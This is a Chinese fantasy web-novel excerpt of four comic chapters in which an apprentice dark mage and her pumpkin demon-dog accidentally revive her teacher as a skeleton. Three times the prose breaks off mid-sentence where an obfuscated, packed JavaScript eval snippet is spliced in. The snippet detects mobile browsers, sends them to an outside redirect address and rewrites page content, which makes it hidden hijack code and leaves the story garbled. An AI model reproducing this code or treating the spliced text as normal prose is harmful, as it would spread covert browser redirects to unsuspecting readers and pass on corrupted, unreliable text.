《[西幻]召唤出了我过气的黑魔法老师以后》 1. 1-1 死灰复燃黑魔法师 听说了吗? 最近啊,突然冒出了许多不太好的传闻。 比如墓地里出现了不明的翻动痕迹,还有蓝绿色的鬼火在深夜游荡。 还有人说,早已销声匿迹的黑法师死灰复燃,隐在黑夜中的树影会勾住你的衣服,将你拖入无边的冥河中,成为地下亡魂的养料—— “乔纳斯!不要吓着孩子了!” 老板娘叉着腰打断了无聊杂货店老板吓唬小孩子的恐怖故事。她赤红色的长发如同火焰,小小的杂货店似乎也因它变得熠熠生辉。 “什么孩子,这位可是能看病救人的医师大人,是时候接触这方面的事情了!” “你说的事情就是一堆捕风捉影的传闻吗?”格瑞娜毫不客气地摆了摆手,“让让,别挡着我跟芭布拉说话。” 把喋喋不休的丈夫打发去收拾柜台,再把装好满满蘑菇的篮子递给一脸乖巧的少女,老板娘带着促狭的笑意捏了捏她的脸颊。 “芭布拉,这是给你的谢礼,本来你愿意帮我家那个臭小鬼看病就已经很感谢你了,还要麻烦你送上门来……哎呀,你看看,都是自家培育的品种,不说别的,味道真的很不错哦。” “谢谢格瑞娜!” 芭布拉从善如流地抱住那一篮子谢礼,翠绿的眼睛弯弯,就像森林中清澈见底的小溪般纯粹。 栗色的长发像一件斗篷裹住了她的肩膀,脸侧随意地扎了两条细细的麻花辫,抬起头看着你时就好像一只警惕又无害的小动物。 格瑞娜一直觉得芭布拉说不定就是那种“森林的孩子”之类的,突然出现在这个小镇上,关于生活的常识几乎一窍不通,说起森林里的东西倒是如数家珍。 她自称是从战乱不断的北地逃荒而来,父母家人基本都死在了路上。但她碧绿的眼眸和栗色的长发是典型的南方长相,娇嫩的脸从未受过冰霜的磨砺,询问她一些北地的事情,少女也支支吾吾地说不出话来。 无论如何,这位孤身流浪的少女着实引来了不少异样的目光。 有人觉得她应该是某个破落小领主的女儿,还有人经常看见她看着天空或者水面发呆,仿佛透过那一片澄澈看见了某些遥远的回忆。 渐渐地,流言竟然离奇地统一起来。 啊,又是一个跟心上人私奔结果惨遭抛弃的怀春少女。 格瑞娜率先接纳了这只可怜的小野猫,那时她还不是杂货店老板娘,但她仍然尽自己所能帮助芭布拉。哪怕在她结婚之后,村里的这家杂货店也是芭布拉经常来的地方。 杂货店里还有另外一只喵喵大叫着不要靠近我老婆的大橘猫经常会坏心眼地吓唬她,不过并没有什么坏心眼就是了。 但是好歹也用一些“以后本店价格上涨”或者“是的,我们有了一个孩子”之类的事情吧。 乔纳斯不甘寂寞地又凑过来:“你住的地方离黑松林那么近,说不定晚上真的能看到鬼火哦。” 芭布拉眨了眨眼。 “乔纳斯,你知道吗,鬼火是因为空气里的火元素受到某种自然因素的影响自燃了,并没有你想象中的那么魔幻。” 乔纳斯急了:“喂,小鬼!黑魔法可是真实存在的!” “嗯嗯,因为你小时候就遇到黑法师了嘛!” “就在黑松林那边,特别是你就住在那附近——事先说明,我这可不是关心你,但是最近的传闻可都是从那边传出来的。” “我才不怕啦,有小庞丁帮我看门。” 眼看着两人又开始吵吵闹闹,老板娘无奈地把自家男人拉开。 “乔纳斯,你还是别扭的小孩吗!不过芭布拉你也要小心一点哦,本来你一个人住就很危险了……” 再三保证自己会小心的芭布拉拎着篮子走出了杂货店,路边裹着头巾的老妇人朝她招了招手,塞给她一把刚采摘的蜜果。 “芭布拉,这是之前你给我的果茶的谢礼。很好喝呢,而且雨天也不会膝盖疼啦!” “谢谢婆婆!您没事就好!” ——事实上,让大家迅速接受这位少女的契机并非她的温和无害,而是因为她掌握着高超的医术。 尽管当事人一直声称接骨之类的手术并非什么高超的技术,但镇民们对此都感到十分惊奇。 她都没有祈祷,甚至也没有用上什么魔法,左捏捏右打打,“咔嚓”一下就能把脱臼的手臂接了上去! 她甚至还有治疗脱发的秘方! 还有人振振有词地说在她的随身携带的小篮子里看见了自然女神的信物,她一定是受女神眷顾的少女。 于是,在绝大部分镇民眼里,芭布拉又变成了医师的后代,因为贪婪好色的领主不得已离开了自己的家乡,路上还和护送自己上路的家族护卫走散,不得已谎称自己的来历。 当事人-不愿透露姓名的芭布拉小姐:现在就是后悔,我不应该随便乱编一个身份…… * 菌类特有的气味从篮子上盖着的白布下弥漫出来,像走在雨后的森林。 她踩着地上的枯枝败叶走进镇上居民畏惧不已的黑松林,尖锐扭曲的树枝从她的衣角滑过,隐匿的猎食者目送着她轻快的身影。 术法遮掩的道路尽头是她真正的家。 庞大得令人难以置信的银白色菌伞几乎可以与旁边的参天巨树相媲美,伞沿边缘垂下了亮晶晶的网格状菌丝,在昏暗的暮色中明灭着幽幽的银色荧光。 如果约格兰小镇的镇民在此,一定会对眼前的景象感到震撼不已。 平日里总是乖巧懂事的少女呢喃着不知所以的咒语,那座不同寻常的蘑菇屋立即为她敞开。 当地人避之不及的林中毒瘴和危险的野兽无法伤她分毫,从墓地里爬出来的骷髅和黑夜里摇曳不明的鬼火又怎么会吓到她呢? 毕竟她可是—— 真正的, 黑法师。 茂密的菌丝纠缠着、成长着,铺成一条向下的阶梯,流水一般的银白色荧光照亮了四周,芭布拉消失在入口处后,菌丝快速合并,隔绝了外界的阳光与声响,但蘑菇屋内部也绝没有憋闷。 阶梯尽头,便是一扇十分正常的木门。芭布拉转动把手,一圈,两圈,三圈,咯吱—— 门开启了。 “嗷呜!” 门后有什么东西迫不及待地跳了出来,它停在芭布拉脚边,朝着她愤怒不已地狂吠。 “你明明说就出去一小会儿就回来!结果让我等了你两天又十三个小时二十一分钟零五秒!!!” 一个扁圆的万圣节南瓜灯在地上打了个滚,从扭扭歪歪的笑脸裂痕中伸出了四条火焰的肢体,绿色的火焰熊熊燃烧,它啪嗒啪嗒追了上来,而那条蓝色的舌头尤其激动,发出了如同真狗那样的喘气声! “庞丁!你会烧到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810467|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的蘑菇的!”芭布拉立即举高了篮子。 “汪呜!我烧死你个坏主人!一点也不为你独自看家的可怜的仆人考虑!” 南瓜小狗绕着她乱跑,南瓜后侧的细长火焰不住得摇曳,几乎快要舞出残影。贪婪的火舌舔舐着绕着一圈旧蕾丝的裙边。 “啊,现在不能吃!” 可惜为时已晚。 火舌想被什么烫到了一样迅速地弹开了,庞丁挥舞着四条小短腿拼命远离芭布拉身边。 “这甜腻的关爱和友谊的味道,哦我百无禁忌的主人,你又去那个女人的店了?为什么还夹杂着一点尊敬的味道,呕呕呕——” 它吐出了一大团粉红色的烟雾,整个南瓜显得相当萎靡。 芭布拉耸了耸肩,将手里的篮子放在地上,蹲在小狗旁边摸了摸它垂在地上的火尾巴。 “我说过了吧……好了,乖狗狗,快起来,有事情要忙活了!” “……可恶……” 南瓜小狗嘴里小声嘟囔着不属于人类能听懂的范畴的语言,但它还是不情不愿地站了起来,跟着芭布拉走进了实验室。 黑法师的实验室。 严格来说不应当把它称作为实验室,芭布拉的蘑菇屋在建造的最开始就没有分隔出各种各样的房间,一切区域都仅靠菌丝分隔开。 被一连串如同铃铛般的深蓝色蘑菇簇拥着的巨大树墩,就是她目前的工作台。 颜色各异的瓶瓶罐罐,有些连芭布拉自己也说不出用途的奇怪工具杂乱无章地堆放在桌面上,在这之上占据最大面积的是一副摆放整齐的粼粼白骨。 庞丁跳上桌子,四只小短腿收回南瓜里,自觉地从瓶瓶罐罐中叼出一个平底锅,架在自己身上。 一个南瓜锅就完成了! “好的,庞丁,首先,请你帮我加入半杯倒影青柠汁。” 平底锅下的火焰忽然暴涨,分出了好几只粗壮的火舌,其中一只从瓶瓶罐罐中叼出了一瓶装满蓝色液体的广口瓶,咕嘟嘟倒了半杯,在火焰的灼烧下,原本清澈的蓝色居然变成了橙色。 “顺时针搅拌三周……等等,我看一下书……”芭布拉慌忙从裙底掏出了一本砖块那么厚的书籍,泛黄的书页飞快翻动,掀起了一片灰尘。 庞丁看不下去了:“……别看了,我调皮的主人,你是想配置提神剂吧?您谦卑的仆人早已记下流程:顺时针搅拌三圈以后再加入半滴星耀石溶剂。” “真棒,我的乖狗狗!” “呃,虽然您是我尊敬的主人,但我仍然还是要指出您的口误,我是最强大、最古老的恶魔,并非那些渺小的、脆弱的无知野兽……” 火舌一边抱怨,一边干净利落地滴入了溶剂,锅里的药水居然缓缓地凝固了,形成了近似布丁的表面。 “好耶,完成了!” 芭布拉欢呼一声,抓起平底锅,将锅中的魔药倒入干净的容器当中。 “等等——不!” 庞丁没能阻止她。 火舌恐惧地捂住了自己开在南瓜上的眼睛,但这无法阻止他清楚地看见,芭布拉刚拿起平底锅,原本还是漂亮澄澈的橙色布丁就像见了阳光的吸血鬼一样腐化了。 芭布拉顿住了,不知道是否应该继续将这锅已经黑化的魔药倒入瓶中。 庞丁松了一口气。 “请您放下,我们再来一次吧。” 2. 1-2 她有一个梦想 “……综上所述,您在回家的路上,除了这篮蘑菇,就没有接触过任何东西了?” 蓝色的火焰又穿上了它的南瓜,一本正经地在桌上踱步。坐在它面前的芭布拉紧张地搓了搓手。 “应……应该?你知道,有时候我不太记得…” “不对!再想想!”它伸出前爪往桌上拍了拍,“这很重要,总结,反思,每个法师都必须要掌握!” 芭布拉沉默了很久,才忽然想起了什么。 “我想起来了!果子!” 她从裙底的口袋里掏出了一把鲜红的果子,小巧精致的果实看上去温和而无害。庞丁凑近了她的手掌,嗅了嗅,火舌颤了颤,然后连连后退。 “七层深渊啊,这是——阿嚏——!” 那一瞬间,火焰小狗彻底失去了它的形体,炸了。 但没完全炸,它身上的南瓜紧紧地束缚住了暴涨的火焰,庞丁得以重新稳固形体。 “卑鄙无耻无恶不作的撒旦啊!” “我居然能在闻了一口圣灵果之后幸存下来,一定是您在庇护您弱小又可怜的信徒吧……” 芭布拉谨慎地看了看自己手里无害的果子,缓缓地,歪了个头。 庞丁迈着小短腿离她远了一点。 “这是圣灵果,简单来说,这是只有饮过神明之血的树木才能结出的果子。它的效果有很多:驱魔、增幅、甚至还是传说中复生剂的原料之一。” “——然后你说这种东西居然是路边随便一个戴着头巾的老妇人随手塞给你的?!” 芭布拉捧着圣灵果的手更不敢放下来了。 “复活剂?!是真的吗!” 庞丁躺在原地,惆怅地叹了个气。 “那我是不是可以着手……那个计划了?!庞丁!快起来!” “不要拿它碰我!你不要过来啊!” 芭布拉有一个梦想。 远在遇到庞丁之前,这个梦想就已经存在,并且支撑着她南下,哪怕颠沛流离,哪怕毫无希望,也怀抱着希望。 复活她的导师。 但不幸的是,在遇到庞丁之前,她甚至连导师的亡灵都没能定位到,甚至也从来没有成功召唤过不死生物。 庞丁一开始是相当不屑的。身为最伟大、最古老的黑暗造物,他从来没有想过黑暗侧的术法会在自己手上失败的情况。 然后他的尊严在第一次帮助她施展亡者召唤术的时候彻底化为灰烬了。 痛定思痛,庞丁制定了另外一个成功率高达百分之九十九的计划,主要步骤就是所有步骤都由它来操作,尽可能少地把任务交给芭布拉,最好能再划出一个隔离带,圣光教会和芭布拉禁止入内的那种。 “……但是,我们的第一步不是先定位他的位置吗?” 小狗躲到了桌子的另一边,和芭布拉隔锅相望。 “你要明白,我可从来没有接触过这位勇敢的导师,这部分工作我是无法替你完成的。另外,圣灵果,从字面上就可以看出来,黑暗侧的法术是无法利用它的。” “我知道。所以,我们拿它来炼药。” “嗯……?” “增加成功率的药剂!” “啊,幸运汤剂。” “对、对的,呃,不对!我想要配置的是厄运汤剂!我考虑过了,之前我们召唤亡灵失败的原因全都是因为一些奇怪的错误。(庞丁:‘这能怪谁啊?我都让你不要动手了!’)我们也尝试着增加了幸运汤剂和类似配方的比重,但是最后还是功败垂成,这是为什么呢?” 庞丁:“……呃,为什么呢?” “——当然是因为幸运汤剂对概率是正向增幅!但我们现在要做的事情并不需要这样的增幅。” 南瓜小狗憋着一肚子的话要说,但芭布拉显然已经认真起来了,这表示没有人能够转变她的想法。 它服从着芭布拉的指挥,将炼制程序完全颠倒过来,手法流畅娴熟,但眼神已经死了。 如果说黑魔法是对白魔法的亵渎,那么芭布拉现在的行为,何尝不失为是一种对黑魔法的亵渎呢? 好在黑暗生物能屈能伸、见多识广,心甘情愿地充当一个没有感情的炼药机器。 在这过程中,最困难的一步莫过于让芭布拉将一枚圣灵果加入药剂当中。如果是其他人的话,庞丁会建议他先对圣灵果进行初步的处理,以便于更好地发挥它的作用。 但这是芭布拉,他不敢。 只要像平常烹饪一样,将那枚见鬼的圣灵果扔进锅里,对她来说已经算得上了不起的成就了! 终于,平底锅发出了一声惨叫,锅里熬煮的药剂固定成紫色的半固体状,时不时还会冒出一串气泡。 芭布拉:“好耶!” 庞丁:“好耶!看上去成型了,亲爱的主人,不过你确定这有用吗?” “不试试怎么知道呢!?老师曾经教过我,我们面对这个世界上所有的事物都一定要保持好奇!永远充满进取心!” 庞丁:“不愧是主人的导师,连风格都这么地与众不同,我对你的老师真是越来越好奇了。” 芭布拉用力点点头,眼里充满狂热。 “只要你一见到他,你一定会崇拜他的!他可是有史以来最伟大的黑法师,就连白塔上的那位大人也比不上他的研究成果!” “噢,我很期待。” 庞丁漫不经心地将锅里的药剂倒进玻璃瓶里,粘稠的半固体凝固在杯壁之上,拖出了一道道血红的痕迹。 如果魔药也像菜肴一样讲究色香味俱全的话,这一份恐怕就是地狱级别。 使用这样的药剂施术……就算是黑魔法……真的没问题吗……? 它来不及多想,芭布拉已经开始布置法阵了。 整个室内的光源都暗了下来,唯有寄宿在南瓜身上的黑暗生物散发着幽幽的绿色火光。 血红的法阵中央,放置着一具枯骨,身披黑色斗篷的身影走到枯骨前,举起了手中的法杖。炼制好的药剂沿着法阵的纹路缓缓流动,粘稠滑腻的气味渐渐蔓延开来。 她垂下纤细的眼睫,手中捧着一本厚重的书籍。绿色的荧光在她脸上浮动,显得那对翠绿的眼眸如同妖异星辰。 “徘徊于冥河的亡者,不属于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810468|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光的灵,最伟大的共同意志,费——嘶!” 天花板上的蘑菇群忽然掉下一朵,精准无误地砸到了芭布拉的后脑勺,专心致志念咒的芭布拉不小心就咬住了舌头。 庞丁背过身去,身上的小火苗一抖一抖的。 “亲爱的主人,我提醒过你了,厄运汤剂可不是什么带来幸运的药剂啊——” 请不要怀疑,这个阴森森的场景确实是一位黑法师正在施展邪恶的黑暗魔法。她考虑到了药水效用,考虑到了自己可能会忘记那些又臭又长咒文,还考虑到了酷炫的光效。 荧光!烟雾!骨头! 居然败在了蘑菇上! 芭布拉摸了摸后脑勺,顽强地站了起来。 “老师说过,施法的路上往往会有许多阻碍,但只要我持之以恒,就一定能克服!” 庞丁被这句话酸到牙软,根本说不出话来。 “徘徊于冥河的亡者,不属于光的灵,最伟大的共同意志,沉睡于费安莱蒂的死亡神祇,请为我带来拥有相同气息的亡灵——” 随着她的念诵,桌上的法阵依次亮起,莹绿的光芒如同血液流淌,很快蔓延到了芭布拉脚边,从这光芒中传来了无度的贪婪和渴求,祂对任何胆敢向它祈求的生物都怀有强烈的恶意与占有欲。 芭布拉垂下法杖,仍有红色的触手握住了这只法杖。 这是她的老师曾经用过的法杖,直到他死前,手中都紧紧握着它。 如果想从死亡手上抢回他的灵魂,就必须用相同气息的物品来引诱强欲的死神。芭布拉知道这并非易事,命运会在她的必经之路上埋伏下无数个挫折。 “叮铃铃——” 门外忽然有人摇起了门铃。 蘑菇屋连接的三个入口中,唯有黑松林外的小木屋安装了门铃。 芭布拉此时已经无法停下布置到一半的术法,她给庞丁使了个眼色,让它去看看情况。 小狗惆怅地摇了摇头。 “我不幸的主人啊,请饶恕我的直言:您刚刚的卡点已经错了,再继续下去也无济于事啊。难以置信,这似乎已经是我们的第七次失败了……” 虽然如此,庞丁还是跳下桌子,咬住窗帘一角拉开。 门外似乎是一个头戴绿帽的邮差。他敲了半天门,发现无人应声,挠了挠乱糟糟的鸡窝头便将邮件塞进了门前的邮箱中。 庞丁注视着他骑上一头驴,踢踢踏踏地走上了乡间小路。 幸好无事发生。 它松了一口气,转身发现芭布拉的咒语此时正好念到了尾声。 “请为您的信徒降下洞察的福音……” 法阵中心摆放整齐的洁白手骨忽然动了一下。 庞丁大惊失色,往后退了一二三四五六步,撞在了蘑菇壁上。 “撒旦的羊角啊,快停下这该死的术法!” “啊?……等等,好像,停不下来了……?” 与此同时,外界的整个天空都出现了异象。明明刚才还是万里无云的晴日,却莫名出现了闪烁万千星光的银河,深沉暗淡的冥河与之重叠呼应,引起了镇民的阵阵惊呼。 3. 1-3 伟大的黑魔法师复活了! 1-3 费安莱蒂,亡灵沉睡之所,同时也是所有时间的最终归处。 半透明的亡灵闭着眼,如同深海中的沙丁鱼群顺着洋流漂流。 黑暗中忽然亮起一道绿光,形成一个不太稳定的入口。所有亡灵在那一瞬间都睁开了眼,朝着入口涌去。但它们都被排斥在蓝光外,只能用漆黑的眼直勾勾地盯着门内的世界。 一个声音在呼唤:“布莱多恩-阿冯克。” 尽管亡灵不愿离开那个通往现世的入口,但来自费安莱蒂最深处的气流仍然吹着它们缓慢移动,唯有一个苍白的灵体奋力逆流而上,艰难地靠近那扇不太稳固的门。其他的亡灵张开嘴,妄图在这个幸运儿身上留下印记,但都被它身上隐隐浮现的绿光挡了回去。 呼唤他的声音更加急切,终于,在门即将关闭的前一刻,它紧紧地抓住了这根稻草。 经历了天翻地覆的旋转,从埋藏之地归来的灵体有了可以吸附的身体,他的思维逐渐活跃起来,记忆和情感重新回到他的灵魂,他重又找回了自己的身份。 啊,有人从死亡中带回了邪恶的黑法师,布莱多恩·阿冯克。 平躺在桌上的骷髅在那一瞬间似乎浮现出一个黑发的身影,但一闪而逝,最终出现的还是洁白的骷髅架子,片刻之后,骷髅眼眶中亮起了蓝色的魂火,有些迟疑地坐了起来。 芭布拉手里还捧着那本书,小心翼翼地发问:“……老师?” 两人一狗大眼瞪小眼,一个低沉的声音最先打破了这片寂静。 “你把胫骨和臂骨摆混了。” “……对不起老师QAQ!”芭布拉立刻滑跪认错。 “咳咳、告诉我,人的肋骨一共有多少根?” “……”她仰望着坐在桌上的骷髅老师,眨了眨那对绿色的眼睛。 “很好。你忘了。那抄十遍我的解剖笔记没有疑问吧?” “……没有,我马上就去抄!呜呜,老师,真的是你!我居然成功了!” 低头调整自己身上的骨头位置的骷髅动作一顿,恶狠狠地抬起头:“你居然把这称作复活?!” 伟大的黑法师,混乱与诡异之手,布莱多恩,在死后居然被手下最不成器的那一个弟子挖出来复活了。 不过,作为他最不成器的学徒,芭布拉居然能够成功使用难度系数很大的亡者召唤,实在是…… 布莱多恩抬起手,然而熟悉的白皙手指并没有出现,呈现在他眼前的是一截脏兮兮的骨头。 她甚至用平时上课时的教具来当他复活的素材? 本来难得想要鼓励一下自己弟子的黑法师气得眼眶里的蓝火都快要发绿了,然而他的弟子还在火上浇油—— “哇,星星耶!” 她指向窗外的白日星辰。 骷髅像被按了什么开关一样爆发了。 “复活就是随便整了个壳子随便画了个法阵随便从冥河里召唤一个亡魂出来把它塞进去就可以了是吧?!” “我教你的你都忘了是吧!” “哎哟老师别打了!骨头断了啦!啊断了!” 脆弱的骨架锤在芭布拉的头上无疑是以卵击石,咵嚓一下就裂开了。 那一刻,仿佛伟大黑法师的自尊也伴随着这截断骨远离了布莱多恩。 他试图让自己的内心平静下来。 至少她还试着复活自己,这个徒弟养得不亏。 虽然没什么长进。 ……但是,也只有这个没什么长进的学徒还会在他死后记着他,还想办法将他的灵魂召唤回来。 别的问题也就算了吧。 就算她用的原材料很次,法阵画得乱七八糟,让人怀疑她的术法可以成功简直就是一个奇迹。 是啊,是奇迹! “……亲爱的主人,虽然我很不想打断你们的重逢,但我还是不得不提醒你,出现了这种程度的异象,教会必然会派人前来查探,说不定就连你们口中的白塔也会过来,二位还要继续纠结这些小事吗?” “什么?这些小事?!我可是史上最强的黑法师,人称操控混乱与诡异之手,布莱多恩-阿冯克!居然!居然被塞进了这样一具骷髅里!” 庞丁连身上不断燃烧的火焰都停滞了片刻。 “……他一直都这样吗?我是说,能够这么自豪地说出这么羞耻的话?” “庞丁,你只是个小恶魔,不懂大人的事情啦。老师他哦,可是——” 小狗翻了个白眼,干脆转过身去,它差点忘了这个人就是一个纯粹的师控。 “不要慌,现在的我只不过是一具最为普通的骷髅罢了,就算是白魔导亲至,也不可能认出我来。” “现在最要紧的,还是把我死后都发生了什么事情都告知于我。”灰扑扑的骨头架子仔仔细细地掸去身上的灰,那小心翼翼的动作莫名传达出了一种发自身心的嫌弃,“还有,你去哪里捡回来了这个乱七八糟的东西?” 庞丁这就不干了:“你说谁乱七八糟?” “嗯?好像有阵风吹过去了。——这是哪里?你的实验室?” “不是!是芭布拉的小博物馆!我有连接三个坐标啦,不可能那么容易就被发现的。” 芭布拉一把按住蠢蠢欲动的庞丁,露出了五十道题目只会写十道其中五道还是瞎编的学生交卷时的腼腆神情。 看起来芭布拉过得也没有很惨,甚至还有了自己的容身之所。黑法师暂且放下心来。 法师们总喜欢给自己的东西起名,方便施咒改造,黑法师也一样,在魔法界人人喊打的黑法师一个个都是躲藏的好手,再昂贵的法师塔也必须整几个,做到狡兔三窟。 “那么——回归正题。我死了之后发生了什么事情?突然想把我召唤出来,你不会又捅了什么篓子吧?告诉我。” “没有捅篓子!!我可是一直都想要复活老师的!至于发生了什么……这就是一个很长的故事啦。”芭布拉点了点地上,一只小蘑菇就长了出来,她坐在蘑菇椅上,清了清嗓子。 “咳咳!从您被白法师们围殴打死——” “停!我问你答。” “……哦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810469|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芭布拉满脸写着失望,但还是习惯性地点了点头。 “距离我死掉多久了?” 芭布拉掰了掰手指头:“十……二十年吧?” 她忽然想到了什么,笑了一下:“这么说,我已经比老师大了!” 布莱多恩不赞同的眼神jpg “……我的法师塔呢?” “穆兰王国的那个被白法师瓜分了,黑安格斯的那个被布鲁斯奇抢走了,他逃到了恶灵谷地,但是后来我也没听说过他的消息。还有一个老师你藏起来了,我找不到……” 其实不是一个,是两个。但就算他告诉了她口诀,她也不可能找到的。 “哦,自己一个人?” “不不!他和劳伦斯、杰克逊两个人一起干掉了其他人,不过最后只有布鲁斯奇活下来了。” “那还不错,还有一点黑法师的风格。” 他说完,看到芭布拉紧紧盯着自己,渴望的眼神强烈到无法忽视。 “呃,你……你能用出亡者召唤,也挺不错的。” “嘿嘿,其实,其实我只是想先暂时定位一下老师你的位置,不过大概是圣灵果效果太好了,所以直接召唤出了老师吧。” 布莱多恩:? 他一时没有能从召唤亡灵、圣灵果和定位这完全互不关联的三者中反应过来,但布莱多恩对于她的魔法向来抱着能用就行的放纵态度,沉吟地点了点头。 如果她有尾巴,一定已经摇出残影了。 庞丁忍不住又翻了一个白眼。 布莱多恩笑眯眯地补充道:“就是用的材料差得离谱,最终的结果也惨不忍睹,要是我是她的老师,一定会羞愧得立刻一个灵魂解离送她上路呢。” 芭布拉无形的尾巴僵住了:“老师!你就不能多夸我一句吗!!!” “等你做好了我自然会夸你,”布莱多恩活动了一下僵硬的骨头架子,“而且我也不是你老师了,你忘记了吗?你不是我学生了。” “你当时说的是‘你出师了’而不是‘你被逐出师门了’啊!” “有区别吗?” “有啊,现在老师你只剩下我一个出师的徒弟了!那我就是首!席!门!徒!!” 布莱多恩冷笑:“你死心吧,出去不许说你是我教出来的。” 芭布拉:QAQ 他们并没有意识到这个匆忙间的施法造成了多大的动荡。不仅仅是约格兰小镇,整个帝国位于南方的城镇大多都看到了这异常瑰丽的一幕。天空中的冥河直到日落才渐渐消去,几个村民急匆匆地赶到了教会,值班的见习修女安慰他们珈乐神官已经去调查了,如果担心的话,今晚可以在教会借宿。 如此安慰了好几批上门的村民,哪怕是虔诚的修女也感到了一丝疲惫。 她抬头望向夜空中初生的弦月,温柔而清冷的月光洒落,几乎就在同时,她忽然意识到有一位意想不到的客人在礼堂中看了她许久。 月光在他发间凝结成河,随着他低头致意的动作荡开一圈圈银白的光华。 “夜安,圣女殿下。” 4. 1-4 可惜是个骷髅架子 芭布拉一直坚信,女神为你关上一扇门时,也会为你打开一扇窗。 黑魔法对她也是如此,虽然她总会在施法时出现各种各样奇怪的状况,但是,它赐予了芭布拉世界上最好的黑魔法导师。 但现在祂似乎想要收回这份礼物了! 芭布拉一个猛虎落地,抱住了布莱多恩的腿骨。 “老师!不要赶我出门!不当首席也可以,只要你还让我留下来呜呜呜!” “腿!我的腿!松手!” 说来很奇怪,黑法师往往都有一群不成器的徒弟,要么太蠢想弑师被杀掉,要么就是太弱被黑法师的仇家杀掉。 来来去去,布莱多恩换了一批又一批天赋异禀的学徒,芭布拉却一直都在。 就连布莱多恩本人也十分好奇她是如何在存活率最低的黑法师塔中存活下来的,难道就靠傻吗? 最不像黑法师的那个学徒,最后却是最记挂着他的那个。布莱多恩不着痕迹地叹了口气,骷髅就骷髅吧,想办法转成巫妖之类的不也一样可以继续玩嘛。 他扯了扯自己的腿骨,这动作却被芭布拉误认为是拒绝,她又抱得更紧了一点。 “对不起啦老师,我努力了很久才办到。要是布鲁斯奇,或者其他人肯定立刻就能复活老师了吧?可是我找不到他们,白法师一直在追杀老师的学徒,只有我没有被抓住……啊!原来是这样!” 布莱多恩吓一跳:“你又怎么了?” “这就是老师你让我出师的原因吗?老师,你真是太温柔了,呜呜!” 布莱多恩顿时萌生出了一种被误解的窘迫,无法无天的黑法师怎么可能会为学徒考虑得这么详细?最纯正的黑法师养徒弟都是放养的好吗! 但是这时候纠正她的说话好像也不太合适。 芭布拉还在噫噫呜呜地哭:“我找不到法师塔,也没有钱修,呜呜没有法师塔,只好在我的小博物馆里举行仪式了。老师,你愿意回应我的呼唤,我真的好开心。” “呃,咳咳,行了行了!黑法师怎么可以哭成这个样子!”布莱多恩立刻转移了话题,“那你是怎么活下来的?那帮白法师没为难你?” “没有,他们问我是不是被你抓来的,我就……顺势承认了。”芭布拉哽咽几声,抹了把眼泪,张开双臂扑了过去:“但是我离开那里之后都自称黑法师了!可是大家都不在了,只剩下我一个人,呜呜,我、我好想老师啊!” “等下,你不要靠过来!” 布莱多恩眼睁睁地目睹自己脆弱的身子骨被芭布拉一个熊抱压散了,芭布拉吓了一跳,慌慌张张地捡起来,堆到了桌上。 目睹一切的庞丁笑得满地打滚。 好在作为亡灵,只要眼中的冥火不熄,就永不消亡。 只是布莱多恩不得不面对这个残酷的事实:不管之前他有多牛逼哄哄,现在他就是一具特别容易散架的骷髅架子。 伟大的黑法师突然有点后悔,这还不如待在冥河里,特别是他看见芭布拉拽着那只怪异的小狗尾巴把它拖到他面前。 布莱多恩:? “庞丁,来,烧点水!” 芭布拉不由分说地往庞丁头上放了一只水盆。 “我居然没有注意到老师身上都是灰尘,还是帮你洗洗比较好吧?作为学徒的我现在才想起来这件事真是太差劲了!” “不,我自己会用清洁术——” 布莱多恩试图挣扎,可目前是一地碎骨头的他毫无反抗之力,直接被扔进了咕嘟咕嘟沸腾的清水里。 庞丁还伸出火焰小手帮忙捡来几块骨头,它很夸张地吸了吸鼻子。 “我心灵手巧的主人,晚饭喝骨头汤吧?香菇炖排骨汤不是也很香吗?” 芭布拉:“你说什么呢?老师身上的,叫做知识的清香!” “啊?您又在说什么呢?亲爱的主人,冰库里还存放着之前买回来的排骨啊。您不会想要用您最尊敬的导师的骨头来熬汤吧?善良的您怎么可能会有这种想法呢?” 芭布拉目瞪口呆。 布莱多恩:“我不就死了一会儿,你看看你身边都养了什么东西啊!” “哦,说起来,似乎我还没有进行过自我介绍。”庞丁一手抚胸,向它头顶的布莱多恩自我介绍道,“我,来自深渊的大恶魔■■■■■,在一个命中注定的夜晚与主人相遇,就此成为了主人忠诚的小跟班。” “我亲爱的主人,我能让时光倒流,我能让早已离去的人重见天日,我能让时代更替,我能让一个乞丐成为国王——”庞丁慢悠悠地换了个姿势,把肚皮露了出来,“但是,需要您付出,那么一点点的代价。” 黑法师熟视无睹,沉吟着看向自己的学徒。 “……又是你从哪里的空间缝隙里捡回来的?” “是呀,上个月吧,万圣节的时候,炼药的时候很好用呢。” 打断布莱多恩下一句话的是一阵急促的敲门声。 